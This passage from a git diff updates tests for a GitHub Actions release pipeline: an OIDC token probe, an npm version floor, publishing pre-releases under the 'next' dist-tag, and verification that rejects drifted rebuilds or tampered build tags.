control)", (_label, mutate, key) => { + const driftedNext = structuredClone(next); + const driftedStable = structuredClone(stable); + mutate(driftedNext, driftedStable); + expect(contractOf(driftedNext, driftedStable)[key]).not.toEqual(EXPECTED[key]); + expect(() => expect(contractOf(driftedNext, driftedStable)).toEqual(EXPECTED)).toThrow(); + }); +}); + +/** A `run:` block under `bash -e` (what a Linux runner gives a step) with + * `bin` first on PATH, the given environment, and GITHUB_OUTPUT captured. */ +function runStep( + run: string, + env: Record, + bin?: (dir: string) => void, +): { lines: string[]; status: number; output: string } { + const dir = mkdtempSync(join(tmpdir(), "npm-publish-step-")); + try { + const binDir = join(dir, "bin"); + mkdirSync(binDir); + bin?.(binDir); + const output = join(dir, "output"); + writeFileSync(output, ""); + let status = 0; + let stdout = ""; + try { + stdout = execFileSync("bash", ["-e", "-c", run], { + cwd: dir, + encoding: "utf8", + env: { ...env, PATH: `${binDir}:${process.env.PATH ?? ""}`, GITHUB_OUTPUT: output }, + stdio: ["ignore", "pipe", "pipe"], + }); + } catch (error) { + status = (error as { status?: number }).status ?? -1; + stdout = String((error as { stdout?: string }).stdout ?? ""); + } + return { + lines: stdout.split("\n").filter(Boolean), + status, + output: readFileSync(output, "utf8"), + }; + } finally { + rmSync(dir, { recursive: true, force: true }); + } +} + +describe("the OIDC probe under bash", () => { + const next = must(workflow("post-green.yml").jobs["publish-next"], "publish-next job"); + const run = must(must(next.steps[0], "probe step").run, "probe run"); + + test("a runner that minted a token URL proceeds silently", () => { + const probe = runStep(run, { ACTIONS_ID_TOKEN_REQUEST_URL: "https://token.invalid/oidc" }); + expect(probe).toEqual({ lines: [], status: 0, output: "proceed=true\n" }); + }); + + test("a runner without one warns naming the caller's missing grant and skips (control)", () => { + const probe = runStep(run, {}); + expect(probe.status).toBe(0); + expect(probe.output).toBe("proceed=false\n"); + expect(probe.lines).toEqual([ + "::warning::this run has no OIDC token (the post-green call in the managed ci.yml grants no " + + "id-token: write); the library pre-release was not published to npm. Add id-token: write " + + "to that call's permissions in Vivswan/repo-platform to publish every green push to @next.", + ]); + }); +}); + +describe("the npm floor guard under bash", () => { + const stable = must(workflow("update-release.yml").jobs["publish-npm"], "publish-npm job"); + const run = must( + stepNamed(stable, "Require an npm that publishes through OIDC").run, + "guard run", + ); + + /** An npm stub reporting `before` until `npm install -g` runs, then `after`. */ + const stubNpm = + (before: string, after: string) => + (bin: string): void => { + writeFileSync(join(bin, "version"), before); + writeFileSync( + join(bin, "npm"), + [ + "#!/bin/sh", + `here="$(dirname "$0")"`, + 'case "$1" in', + ` --version) cat "$here/version"; echo ;;`, + ` install) printf '%s' "${after}" > "$here/version"; echo "installed $*" ;;`, + ' *) echo "unexpected npm $*" >&2; exit 2 ;;', + "esac", + "", + ].join("\n"), + { mode: 0o755 }, + ); + }; + + const floors: [string, string, string, { lines: string[]; status: number }][] = [ + ["at the floor", "11.5.1", "11.5.1", { lines: [], status: 0 }], + ["above it", "11.9.0", "11.9.0", { lines: [], status: 0 }], + [ + "below it, upgraded past it", + "11.4.2", + "11.9.0", + { lines: ["installed install -g npm@latest"], status: 0 }, + ], + [ + "below it and still below after the upgrade", + "10.9.4", + "10.9.4", + { + lines: [ + "installed install -g npm@latest", + "::error::npm 10.9.4 cannot publish through OIDC; trusted publishing needs npm 11.5.1 or newer.", + ], + status: 1, + }, + ], + ]; + test.each(floors)("an npm %s", (_name, before, after, expected) => { + const guard = runStep(run, {}, stubNpm(before, after)); + expect({ lines: guard.lines, status: guard.status }).toEqual(expected); + }); +}); + +describe("the publish blocks under bash", () => { + const next = must(workflow("post-green.yml").jobs["publish-next"], "publish-next job"); + const stable = must(workflow("update-release.yml").jobs["publish-npm"], "publish-npm job"); + const nextRun = must( + stepNamed(next, "Publish the pre-release under the next dist-tag").run, + "next publish run", + ); + const stableRun = must(stepNamed(stable, "Publish the release to npm").run, "stable publish run"); + + /** A bun that answers the verdict given and an npm that reports every call with the GITHUB_SHA it saw. */ + const stubs = + (verdict: string) => + (bin: string): void => { + writeFileSync(join(bin, "bun"), `#!/bin/sh\nprintf '%s\\n' "${verdict}"\n`, { mode: 0o755 }); + writeFileSync(join(bin, "npm"), '#!/bin/sh\necho "npm $* (GITHUB_SHA=$GITHUB_SHA)"\n', { + mode: 0o755, + }); + }; + const source = "b8df084c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a"; + + const cases: [string, string, string, { lines: string[]; status: number }][] = [ + [ + "next: a publish verdict sets the version and publishes under next with the source as GITHUB_SHA", + nextRun, + "publish 2.0.1-main.412.gb8df084", + { + lines: [ + "npm version 2.0.1-main.412.gb8df084 --no-git-tag-version (GITHUB_SHA=)", + "npm pkg delete scripts.prepare (GITHUB_SHA=)", + "npm publish --tag next (GITHUB_SHA=b8df084c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a)", + ], + status: 0, + }, + ], + [ + "next: a skip verdict calls npm not at all and reports why", + nextRun, + "skip the registry's next is newer", + { lines: ["::notice::the registry's next is newer"], status: 0 }, + ], + [ + "next: anything else fails the step", + nextRun, + "2.0.1-main.412.gb8df084", + { + lines: [ + "unexpected npm-verdict output: 2.0.1-main.412.gb8df084", + "::error::npm-verdict printed neither publish nor skip; see the line above.", + ], + status: 1, + }, + ], + [ + "stable: a publish verdict publishes under the default dist-tag with the source as GITHUB_SHA", + stableRun, + "publish 2.1.0", + { + lines: [ + "npm pkg delete scripts.prepare (GITHUB_SHA=)", + "npm publish (GITHUB_SHA=b8df084c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a)", + ], + status: 0, + }, + ], + [ + "stable: a skip verdict calls npm not at all and warns", + stableRun, + "skip 2.1.0 is already on the registry", + { lines: ["::warning::2.1.0 is already on the registry"], status: 0 }, + ], + ]; + test.each(cases)("%s", (_name, run, verdict, expected) => { + const step = runStep(run, { SOURCE_SHA: source, TAG: "v2.1.0" }, stubs(verdict)); + expect({ lines: step.lines, status: step.status }).toEqual(expected); + }); +}); diff --git a/test/docs/post-green-workflow.test.ts b/test/docs/post-green-workflow.test.ts index 6eb45afc1..74fae41b6 100644 --- a/test/docs/post-green-workflow.test.ts +++ b/test/docs/post-green-workflow.test.ts @@ -1,4 +1,4 @@ -/** post-green.yml runs only from ci.yml's post-green slot, so the build branch is never written from a commit the all-green gate has not judged. */ +/** post-green.yml runs only from ci.yml's post-green slot, so neither the build branch nor npm is written from a commit the all-green gate has not judged. */ import { describe, expect, test } from "bun:test"; import { execFileSync } from "node:child_process"; @@ -66,7 +66,7 @@ interface CallerContract { /** The whole workflow_call interface ci.yml must satisfy. */ inputs: Record; secrets: string[]; - /** Pinned to the exact key set so nothing gates or extends the one job; no permissions ceiling of its own, so it inherits the caller's grant. */ + /** Pinned to the exact key set so nothing gates or extends the two jobs; no permissions ceiling of their own, so they inherit the caller's grant. */ jobs: Array<{ id: string; keys: string[]; @@ -111,6 +111,52 @@ const PUSH_PROBE = [ "", ].join("\n"); +/** The publish job's gate: every step after the OIDC probe runs only when the runner minted a token URL. */ +const OIDC_PROCEED = "steps.oidc.outputs.proceed == 'true'"; +/** The OIDC probe: the runner sets ACTIONS_ID_TOKEN_REQUEST_URL only under an + * id-token: write grant (the managed caller gives post-green one; a fork or a + * ceiling change may not); without it the job warns, naming the caller's + * ceiling, and skips. */ +const OIDC_PROBE = [ + 'if [ -n "$ACTIONS_ID_TOKEN_REQUEST_URL" ]; then', + ' echo "proceed=true" >> "$GITHUB_OUTPUT"', + "else", + ' echo "::warning::this run has no OIDC token (the post-green call in the managed ci.yml grants no id-token: write); the library pre-release was not published to npm." \\', + ' "Add id-token: write to that call\'s permissions in Vivswan/repo-platform to publish every green push to @next."', + ' echo "proceed=false" >> "$GITHUB_OUTPUT"', + "fi", + "", +].join("\n"); +/** The npm floor: trusted publishing needs 11.5.1; an older npm is upgraded once, then held to it. */ +const NPM_FLOOR = [ + "floor=11.5.1", + 'below_floor() { [ "$(printf \'%s\\n\' "$floor" "$(npm --version)" | sort -V | head -n1)" != "$floor" ]; }', + "if below_floor; then", + " npm install -g npm@latest", + "fi", + "if below_floor; then", + ' echo "::error::npm $(npm --version) cannot publish through OIDC; trusted publishing needs npm $floor or newer."', + " exit 1", + "fi", + "", +].join("\n"); +/** The publish: the pipeline's verdict names the version or the reason to skip; the source sha reaches npm's provenance; no token is passed. */ +const PUBLISH_NEXT = [ + `verdict="$(GITHUB_SHA="$SOURCE_SHA" bun .github/scripts/release-pipeline.ts npm-verdict next)"`, + 'case "$verdict" in', + " publish\\ *)", + ` npm version "\${verdict#publish }" --no-git-tag-version`, + " npm pkg delete scripts.prepare", + ` GITHUB_SHA="$SOURCE_SHA" npm publish --tag next ;;`, + ` skip\\ *) echo "::notice::\${verdict#skip }" ;;`, + " *)", + ' echo "unexpected npm-verdict output: $verdict"', + ' echo "::error::npm-verdict printed neither publish nor skip; see the line above."', + " exit 1 ;;", + "esac", + "", +].join("\n"); + const CALLER_EXPECTED: CallerContract = { topLevel: ["jobs", "name", "on"], triggers: ["workflow_call"], @@ -157,11 +203,11 @@ const CALLER_EXPECTED: CallerContract = { with: { "bun-version-file": ".bun-version" }, }, { - name: "Build the bundle", + name: "Build the bundle and the library", id: undefined, uses: undefined, if: PROCEED, - run: "bun install --frozen-lockfile --ignore-scripts\nbun run build:bundle\n", + run: "bun install --frozen-lockfile --ignore-scripts\nbun run build:bundle\nbun run build:lib\n", env: undefined, with: undefined, }, @@ -179,6 +225,79 @@ const CALLER_EXPECTED: CallerContract = { }, ], }, + { + id: "publish-next", + keys: ["concurrency", "if", "runs-on", "steps", "timeout-minutes"], + uses: undefined, + with: undefined, + secrets: undefined, + permissions: undefined, + steps: [ + { + name: "Check the caller grants an OIDC token", + id: "oidc", + uses: undefined, + if: undefined, + run: OIDC_PROBE, + env: undefined, + with: undefined, + }, + { + name: undefined, + id: undefined, + uses: "actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1", + if: OIDC_PROCEED, + run: undefined, + env: undefined, + with: { ref: `\${{ inputs.sha }}`, "persist-credentials": false }, + }, + { + name: undefined, + id: undefined, + uses: "oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6", + if: OIDC_PROCEED, + run: undefined, + env: undefined, + with: { "bun-version-file": ".bun-version" }, + }, + { + name: undefined, + id: undefined, + uses: "actions/setup-node@820762786026740c76f36085b0efc47a31fe5020", + if: OIDC_PROCEED, + run: undefined, + env: undefined, + with: { "node-version": 24, "registry-url": "https://registry.npmjs.org" }, + }, + { + name: "Require an npm that publishes through OIDC", + id: undefined, + uses: undefined, + if: OIDC_PROCEED, + run: NPM_FLOOR, + env: undefined, + with: undefined, + }, + { + name: "Build the library", + id: undefined, + uses: undefined, + if: OIDC_PROCEED, + run: "bun install --frozen-lockfile --ignore-scripts\nbun run build:lib\n", + env: undefined, + with: undefined, + }, + { + name: "Publish the pre-release under the next dist-tag", + id: undefined, + uses: undefined, + if: OIDC_PROCEED, + run: PUBLISH_NEXT, + env: { SOURCE_SHA: `\${{ inputs.sha }}` }, + with: undefined, + }, + ], + }, ], }; @@ -223,7 +342,7 @@ describe("post-green.yml publishes the build branch", () => { readFileSync(join(ROOT, ".github", "workflows", "post-green.yml"), "utf8"), ) as Caller; - test("one self-contained job, gated on the token probe, with the judged sha as its only input", () => { + test("two self-contained jobs, each gated on its probe, with the judged sha as the only input", () => { expectCallerContract(wf); }); @@ -266,6 +385,50 @@ describe("post-green.yml publishes the build branch", () => { (w) => (must(w.jobs.build, "build job").permissions = { contents: "read" }), "jobs", ], + [ + "a publish job with a ceiling of its own, which the managed caller's rejects as a whole", + (w) => + (must(w.jobs["publish-next"], "publish-next job").permissions = { + contents: "read", + "id-token": "write", + }), + "jobs", + ], + [ + "a publish step that runs without the OIDC gate", + (w) => { + const step = must(w.jobs["publish-next"], "publish-next job").steps?.at(-1); + must(step, "publish step").if = undefined; + }, + "jobs", + ], + [ + "a publish job that hands npm a registry token", + (w) => { + const step = must(w.jobs["publish-next"], "publish-next job").steps?.at(-1); + must(step, "publish step").env = { + ...must(step, "publish step").env, + NODE_AUTH_TOKEN: `\${{ secrets.NPM_TOKEN }}`, + }; + }, + "jobs", + ], + [ + "a publish job that publishes under the default dist-tag", + (w) => { + const step = must(w.jobs["publish-next"], "publish-next job").steps?.at(-1); + must(step, "publish step").run = PUBLISH_NEXT.replace( + "npm publish --tag next", + "npm publish", + ); + }, + "jobs", + ], + [ + "a publish job open to forks", + (w) => delete must(w.jobs["publish-next"], "publish-next job").if, + "jobs", + ], [ "a push probe whose warning names only one of the two remedies", (w) => { @@ -353,7 +516,7 @@ describe("post-green.yml publishes the build branch", () => { "jobs", ], [ - "a workflow-level lane above the one job", + "a workflow-level lane above the jobs", (w) => (w.concurrency = { group: `post-green-\${{ github.repository }}` }), "topLevel", ], diff --git a/test/scripts/release-pipeline.test.ts b/test/scripts/release-pipeline.test.ts index 48807c23a..39d948939 100644 --- a/test/scripts/release-pipeline.test.ts +++ b/test/scripts/release-pipeline.test.ts @@ -22,9 +22,17 @@ import { anchorCheck, anchorReleasePr, boundaryCheck, + nextPublishVerdict, + npmVerdict, + type Packument, + type PublishVerdict, packageRelease, + prereleaseVersion, + prereleaseVersionOf, retagMajor, + stablePublishVerdict, verifyPublishedRefs, + versionOrder, } from "../../.github/scripts/release-pipeline.js"; // Dozens of git spawns per test time out bun's 5s default under parallel machine load. @@ -125,6 +133,43 @@ function commitAll(cwd: string, subject: string): string { return git(cwd, "rev-parse", "HEAD"); } +/** The files a build of `bundle` leaves in a checkout: the action bundle and + * the library build (its module and its declarations), all gitignored on main. */ +function builtFiles(bundle: string): Record { + return { + "lib/index.js": bundle, + "lib/pkg/index.js": `library-${bundle}`, + "lib/pkg/index.d.ts": `types-${bundle}`, + }; +} + +function writeBuild(cwd: string, bundle: string): void { + for (const [file, content] of Object.entries(builtFiles(bundle))) { + write(cwd, file, content); + } +} + +/** Stage the build outputs into a clone's index as the pipeline does (-f: they are gitignored). */ +function stageBuild(cwd: string): void { + git(cwd, "add", "-f", "--", "lib/index.js", "lib/pkg"); +} + +/** The fixture's package.json as the real one is shaped: a prepare script beside another script. */ +function manifestJson(version: string, scripts: Record = FIXTURE_SCRIPTS): string { + return `${JSON.stringify({ name: "@scope/pkg", version, scripts }, null, 2)}\n`; +} +const FIXTURE_SCRIPTS = { prepare: "lefthook install || true", build: "bun run build:lib" }; + +/** What a chain commit's package.json looks like: the pipeline strips the prepare script when it mints one. */ +function stripPrepare(cwd: string): void { + const pkg = JSON.parse(readFileSync(join(cwd, "package.json"), "utf8")) as { + scripts?: Record; + }; + delete pkg.scripts?.prepare; + write(cwd, "package.json", `${JSON.stringify(pkg, null, 2)}\n`); + git(cwd, "add", "package.json"); +} + /** What every packaged tree lacks, so a planted chain commit deviates from the pipeline's only where the test means it to. */ function stripWorkflows(cwd: string): void { git(cwd, "rm", "-r", "-q", "-f", "--cached", "--ignore-unmatch", "--", ".github/workflows"); @@ -134,8 +179,9 @@ function treePaths(cwd: string, sha: string): string[] { return git(cwd, "ls-tree", "-r", "--name-only", sha).split("\n"); } -/** The paths a chain commit's diff against its source lists: the workflow removal and the bundle. */ -const PACKAGED_DIFF = ".github/workflows/ci.yml\nlib/index.js"; +/** The paths a chain commit's diff against its source lists: the workflow removal and the build outputs. */ +const PACKAGED_DIFF = + ".github/workflows/ci.yml\nlib/index.js\nlib/pkg/index.d.ts\nlib/pkg/index.js\npackage.json"; const CHANGELOG_21 = `# Changelog @@ -177,7 +223,7 @@ function seedFixture(): Fixture { const origin = join(root, "origin.git"); execFileSync("git", ["init", "--quiet", "--bare", "-b", "main", origin]); const work = clone(root, origin, "work"); - write(work, ".gitignore", "lib/index.js\n"); + write(work, ".gitignore", "lib/index.js\nlib/pkg/\n"); write(work, ".release-please-manifest.json", `${JSON.stringify({ ".": "2.0.0" }, null, 2)}\n`); write( work, @@ -196,19 +242,21 @@ function seedFixture(): Fixture { write(work, ".github/workflows/ci.yml", "name: ci\non: push\njobs: {}\n"); write(work, ".github/dependabot.yml", "version: 2\nupdates: []\n"); write(work, "src/marker.ts", "export const marker = 1;\n"); + write(work, "package.json", manifestJson("2.0.0")); const seedSha = commitAll(work, "chore: seed the fixture at the 2.0.0 release"); write(work, ".release-please-manifest.json", `${JSON.stringify({ ".": "2.1.0" }, null, 2)}\n`); write(work, "CHANGELOG.md", CHANGELOG_21); + write(work, "package.json", manifestJson("2.1.0")); const mergeSha = commitAll(work, "chore(main): release 2.1.0 (#42)"); git(work, "push", "--quiet", "origin", "HEAD:refs/heads/main"); - write(work, "lib/index.js", "packaged-bundle-bytes-1\n"); + writeBuild(work, "packaged-bundle-bytes-1\n"); return { root, origin, work, seedSha, mergeSha }; } function checkoutOf(fx: Fixture, name: string, sha: string, bundle: string): string { const dir = clone(fx.root, fx.origin, name); git(dir, "checkout", "--quiet", sha); - write(dir, "lib/index.js", bundle); + writeBuild(dir, bundle); return dir; } @@ -218,7 +266,7 @@ function pushGreenCommit(fx: Fixture, name: string, bundle: string): { dir: stri write(dir, "src/marker.ts", `export const marker = "${name}";\n`); const sha = commitAll(dir, `feat: ${name}`); git(dir, "push", "--quiet", "origin", "HEAD:refs/heads/main"); - write(dir, "lib/index.js", bundle); + writeBuild(dir, bundle); return { dir, sha }; } @@ -266,8 +314,9 @@ function rivalChainCommit( const from = clone(fx.root, fx.origin, name); git(from, "checkout", "--quiet", source); stripWorkflows(from); - write(from, "lib/index.js", bundle); - git(from, "add", "-f", "lib/index.js"); + writeBuild(from, bundle); + stageBuild(from); + stripPrepare(from); const tree = git(from, "write-tree"); const sha = git( from, @@ -436,10 +485,16 @@ describe("packageRelease", () => { ".release-please-manifest.json", "CHANGELOG.md", "lib/index.js", + "lib/pkg/index.d.ts", + "lib/pkg/index.js", + "package.json", "release-please-config.json", "src/marker.ts", ]); expect(git(fx.origin, "show", `${packaged}:lib/index.js`)).toBe("packaged-bundle-bytes-1"); + expect(git(fx.origin, "show", `${packaged}:lib/pkg/index.js`)).toBe( + "library-packaged-bundle-bytes-1", + ); const body = git(fx.origin, "log", "-1", "--format=%B", packaged); expect(body).toContain(`build: main at ${git(fx.origin, "rev-parse", "--short", fx.mergeSha)}`); expect(body).toContain("Workflow-run: https://example.invalid/actions/runs/1"); @@ -617,13 +672,32 @@ describe("packageRelease", () => { expect(git(fx.origin, "rev-parse", "refs/tags/v2.1.0^{}")).toBe(tip); }); - test("a rerun whose rebuild produced different bytes stops loudly", () => { + /** What a rerun's rebuild can get wrong under the packaged paths, and how the verification names it. */ + const drifted: [string, (rerun: string) => void, RegExp][] = [ + [ + "the action bundle's bytes", + (rerun) => write(rerun, "lib/index.js", "DIFFERENT-bytes\n"), + /refs\/tags\/v2\.1\.0 carries a lib\/index\.js that is not a build of [0-9a-f]{40}'s source/, + ], + [ + "the library declarations' bytes", + (rerun) => write(rerun, "lib/pkg/index.d.ts", "DIFFERENT-types\n"), + /refs\/tags\/v2\.1\.0 carries a lib\/pkg\/index\.d\.ts that is not a build of [0-9a-f]{40}'s source/, + ], + [ + "an extra library file", + (rerun) => write(rerun, "lib/pkg/chunk.js", "extra\n"), + /refs\/tags\/v2\.1\.0 carries \[lib\/index\.js, lib\/pkg\/index\.d\.ts, lib\/pkg\/index\.js\] under lib\/index\.js and lib\/pkg\/, while this build of [0-9a-f]{40} produced \[lib\/index\.js, lib\/pkg\/chunk\.js, lib\/pkg\/index\.d\.ts, lib\/pkg\/index\.js\]/, + ], + ]; + test.each(drifted)("a rerun whose rebuild differs in %s stops loudly", (_name, drift, error) => { const fx = seedFixture(); packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); const before = git(fx.origin, "rev-parse", "refs/tags/v2.1.0^{}"); - const rerun = checkoutOf(fx, "rerun-drift", fx.mergeSha, "DIFFERENT-bytes\n"); + const rerun = checkoutOf(fx, "rerun-drift", fx.mergeSha, "packaged-bundle-bytes-1\n"); + drift(rerun); expect(() => packageRelease({ cwd: rerun, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow( - /not a build of/, + error, ); expect(git(fx.origin, "rev-parse", "refs/tags/v2.1.0^{}")).toBe(before); }); @@ -669,9 +743,7 @@ describe("packageRelease", () => { ]; test.each(wrongSource)("an existing tag %s stops loudly", (_name, message, error) => { const fx = seedFixture(); - const planted = plantTag(fx, "planter", fx.seedSha, message(fx), { - "lib/index.js": "planted\n", - }); + const planted = plantTag(fx, "planter", fx.seedSha, message(fx), builtFiles("planted\n")); expect(() => packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow( error, ); @@ -679,14 +751,14 @@ describe("packageRelease", () => { expect(remoteRef(fx, "refs/heads/build")).toBe(""); }); - test("an existing tag that changes more than the bundle stops loudly", () => { + test("an existing tag that changes more than the build outputs stops loudly", () => { const fx = seedFixture(); plantTag(fx, "planter-extra", fx.mergeSha, ["build: by hand", `Source: ${fx.mergeSha}`], { - "lib/index.js": "packaged-bundle-bytes-1\n", + ...builtFiles("packaged-bundle-bytes-1\n"), "src/marker.ts": "export const marker = 666;\n", }); expect(() => packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow( - /is not .* plus lib\/index\.js and the removal of \.github\/workflows\/ alone: .*src\/marker\.ts/, + /is not .* plus lib\/index\.js and lib\/pkg\/, minus package\.json's prepare script, and the removal of \.github\/workflows\/ alone: .*src\/marker\.ts/, ); }); @@ -697,12 +769,12 @@ describe("packageRelease", () => { "planter-workflows", fx.mergeSha, ["build: by hand", `Source: ${fx.mergeSha}`], - { "lib/index.js": "packaged-bundle-bytes-1\n" }, + builtFiles("packaged-bundle-bytes-1\n"), ["v2.1.0"], "kept", ); expect(() => packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow( - /is not .* plus lib\/index\.js and the removal of \.github\/workflows\/ alone: .*: \.github\/workflows\/ci\.yml \(kept\)\)/, + /is not .* plus lib\/index\.js and lib\/pkg\/, minus package\.json's prepare script, and the removal of \.github\/workflows\/ alone: .*: \.github\/workflows\/ci\.yml \(kept\)\)/, ); }); @@ -711,8 +783,9 @@ describe("packageRelease", () => { const filler = clone(fx.root, fx.origin, `filler-${from.slice(0, 8)}`); git(filler, "checkout", "--quiet", fx.seedSha); stripWorkflows(filler); - write(filler, "lib/index.js", "packaged-bundle-bytes-0\n"); - git(filler, "add", "-f", "lib/index.js"); + writeBuild(filler, "packaged-bundle-bytes-0\n"); + stageBuild(filler); + stripPrepare(filler); const tree = git(filler, "write-tree"); let tip = from; for (let n = 0; n < count; n++) { @@ -777,9 +850,7 @@ describe("packageRelease", () => { "planter-detached", fx.mergeSha, ["build: by hand", `Source: ${fx.mergeSha}`], - { - "lib/index.js": "packaged-bundle-bytes-1\n", - }, + builtFiles("packaged-bundle-bytes-1\n"), ); const refusal = `refs/tags/v2.1.0 (${planted}) is not on refs/heads/build (not an ancestor of its tip ` + @@ -818,7 +889,7 @@ describe("packageRelease", () => { "planter-nobuild", fx.mergeSha, ["build: by hand", `Source: ${fx.mergeSha}`], - { "lib/index.js": "packaged-bundle-bytes-1\n" }, + builtFiles("packaged-bundle-bytes-1\n"), ); expect(() => packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow( `refs/tags/v2.1.0 (${planted}) exists but refs/heads/build does not exist on origin; ` + @@ -841,7 +912,7 @@ describe("packageRelease", () => { write(side, ".release-please-manifest.json", `${JSON.stringify({ ".": "2.1.0" }, null, 2)}\n`); const sideSha = commitAll(side, "chore(main): release 2.1.0 (#43)"); git(side, "push", "--quiet", "origin", "HEAD:refs/heads/side"); - write(side, "lib/index.js", "packaged-bundle-bytes-1\n"); + writeBuild(side, "packaged-bundle-bytes-1\n"); let error: unknown; const pushes = withPushPlans(fx, [], () => { try { @@ -870,20 +941,20 @@ describe("packageRelease", () => { expect(remoteRef(fx, "refs/heads/build")).toBe(""); }); - test("a missing bundle refuses to package", () => { + test.each(["lib/index.js", "lib/pkg/index.js"])("a missing %s refuses to package", (file) => { const fx = seedFixture(); - rmSync(join(fx.work, "lib/index.js")); + rmSync(join(fx.work, file)); expect(() => packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow( - /not built/, + `${file} is not built; run the build before packaging.`, ); expect(remoteRef(fx, "refs/heads/build")).toBe(""); }); - test("a worktree dirty beyond the bundle refuses to package", () => { + test("a worktree dirty beyond the build outputs refuses to package", () => { const fx = seedFixture(); write(fx.work, "src/marker.ts", "export const marker = 999;\n"); expect(() => packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow( - /pending changes beyond lib\/index\.js/, + /pending changes beyond lib\/index\.js and lib\/pkg\//, ); expect(remoteRef(fx, "refs/tags/v2.1.0")).toBe(""); expect(remoteRef(fx, "refs/heads/build")).toBe(""); @@ -904,7 +975,7 @@ function prepareNextRelease( write(dir, ".release-please-manifest.json", `${JSON.stringify({ ".": version }, null, 2)}\n`); const mergeSha = commitAll(dir, `chore(main): release ${version} (#${prNumber})`); git(dir, "push", "--quiet", "origin", "HEAD:refs/heads/main"); - write(dir, "lib/index.js", bundle); + writeBuild(dir, bundle); return { dir, mergeSha }; } @@ -966,8 +1037,8 @@ describe("retagMajor", () => { stripWorkflows(planter); git(planter, "config", "user.name", "planter"); git(planter, "config", "user.email", "planter@example.invalid"); - write(planter, "lib/index.js", "planted-wrong-bytes\n"); - git(planter, "add", "-f", "lib/index.js"); + writeBuild(planter, "planted-wrong-bytes\n"); + stageBuild(planter); git(planter, "commit", "--quiet", "-m", "build: by hand", "-m", `Source: ${fx.mergeSha}`); git(planter, "tag", "v2.1.0"); git(planter, "push", "--quiet", "origin", "refs/tags/v2.1.0"); @@ -1099,15 +1170,16 @@ describe("verifyPublishedRefs", () => { ).toThrow(/couldn't find remote ref/); }); - test("a version tag that changes more than the bundle fails the confirmation", () => { + test("a version tag that changes more than the build outputs fails the confirmation", () => { const fx = seedFixture(); // Parented on the seed, so nothing but the confirmation's own fetch can bring the merge commit's tree to a shallow checkout. const planter = clone(fx.root, fx.origin, "verify-planter-extra"); git(planter, "checkout", "--quiet", fx.mergeSha); stripWorkflows(planter); - write(planter, "lib/index.js", "packaged-bundle-bytes-1\n"); + writeBuild(planter, "packaged-bundle-bytes-1\n"); + stageBuild(planter); write(planter, "action.yml", "name: tampered\n"); - git(planter, "add", "-f", "lib/index.js", "action.yml"); + git(planter, "add", "-f", "action.yml"); const planted = git( planter, "commit-tree", @@ -1131,7 +1203,7 @@ describe("verifyPublishedRefs", () => { expect(() => verifyPublishedRefs({ cwd: checker, tag: "v2.1.0", sourceSha: fx.mergeSha }), ).toThrow( - /is not .* plus lib\/index\.js and the removal of \.github\/workflows\/ alone: .*action\.yml/, + /is not .* plus lib\/index\.js and lib\/pkg\/, minus package\.json's prepare script, and the removal of \.github\/workflows\/ alone: .*action\.yml/, ); }); @@ -1141,8 +1213,8 @@ describe("verifyPublishedRefs", () => { git(planter, "checkout", "--quiet", fx.seedSha); git(planter, "config", "user.name", "planter"); git(planter, "config", "user.email", "planter@example.invalid"); - write(planter, "lib/index.js", "planted\n"); - git(planter, "add", "-f", "lib/index.js"); + writeBuild(planter, "planted\n"); + stageBuild(planter); git(planter, "commit", "--quiet", "-m", "build: by hand", "-m", `Source: ${fx.seedSha}`); git(planter, "tag", "v2.1.0"); git(planter, "tag", "v2"); @@ -1553,6 +1625,12 @@ describe("advanceBuild", () => { expect(parentOf(fx.origin, tip)).toBe(""); expect(git(fx.origin, "diff", "--name-only", fx.mergeSha, tip)).toBe(PACKAGED_DIFF); expect(git(fx.origin, "show", `${tip}:lib/index.js`)).toBe("packaged-bundle-bytes-1"); + expect(git(fx.origin, "show", `${tip}:lib/pkg/index.js`)).toBe( + "library-packaged-bundle-bytes-1", + ); + expect(git(fx.origin, "show", `${tip}:lib/pkg/index.d.ts`)).toBe( + "types-packaged-bundle-bytes-1", + ); const body = git(fx.origin, "log", "-1", "--format=%B", tip); expect(body).toContain(`build: main at ${git(fx.origin, "rev-parse", "--short", fx.mergeSha)}`); expect(body).toContain("Workflow-run: https://example.invalid/actions/runs/7"); @@ -1620,6 +1698,7 @@ describe("advanceBuild", () => { expect(paths.filter((path) => path.startsWith(".github/workflows/"))).toEqual([]); expect(paths).toContain(".github/dependabot.yml"); expect(paths).toContain("lib/index.js"); + expect(paths).toContain("lib/pkg/index.js"); // GitHub judges a token's workflow-push refusal per push, so a workflow change between two appends is the shape the fixture can pin: the chain // commit carries neither workflow. const dir = clone(fx.root, fx.origin, "workflow-change"); @@ -1627,7 +1706,7 @@ describe("advanceBuild", () => { write(dir, ".github/workflows/nightly.yml", "name: nightly\non: schedule\njobs: {}\n"); const sha = commitAll(dir, "ci: change the workflows"); git(dir, "push", "--quiet", "origin", "HEAD:refs/heads/main"); - write(dir, "lib/index.js", "packaged-bundle-bytes-2\n"); + writeBuild(dir, "packaged-bundle-bytes-2\n"); const second = advanceBuild({ cwd: dir, sourceSha: sha }); expect(second.changed).toBe(true); expect(parentOf(fx.origin, second.buildSha)).toBe(first); @@ -1635,7 +1714,7 @@ describe("advanceBuild", () => { treePaths(fx.origin, second.buildSha).filter((path) => path.startsWith(".github/workflows/")), ).toEqual([]); expect(git(fx.origin, "diff", "--name-only", sha, second.buildSha)).toBe( - ".github/workflows/ci.yml\n.github/workflows/nightly.yml\nlib/index.js", + ".github/workflows/ci.yml\n.github/workflows/nightly.yml\nlib/index.js\nlib/pkg/index.d.ts\nlib/pkg/index.js\npackage.json", ); }); @@ -1669,8 +1748,8 @@ describe("advanceBuild", () => { const planter = clone(fx.root, fx.origin, name); 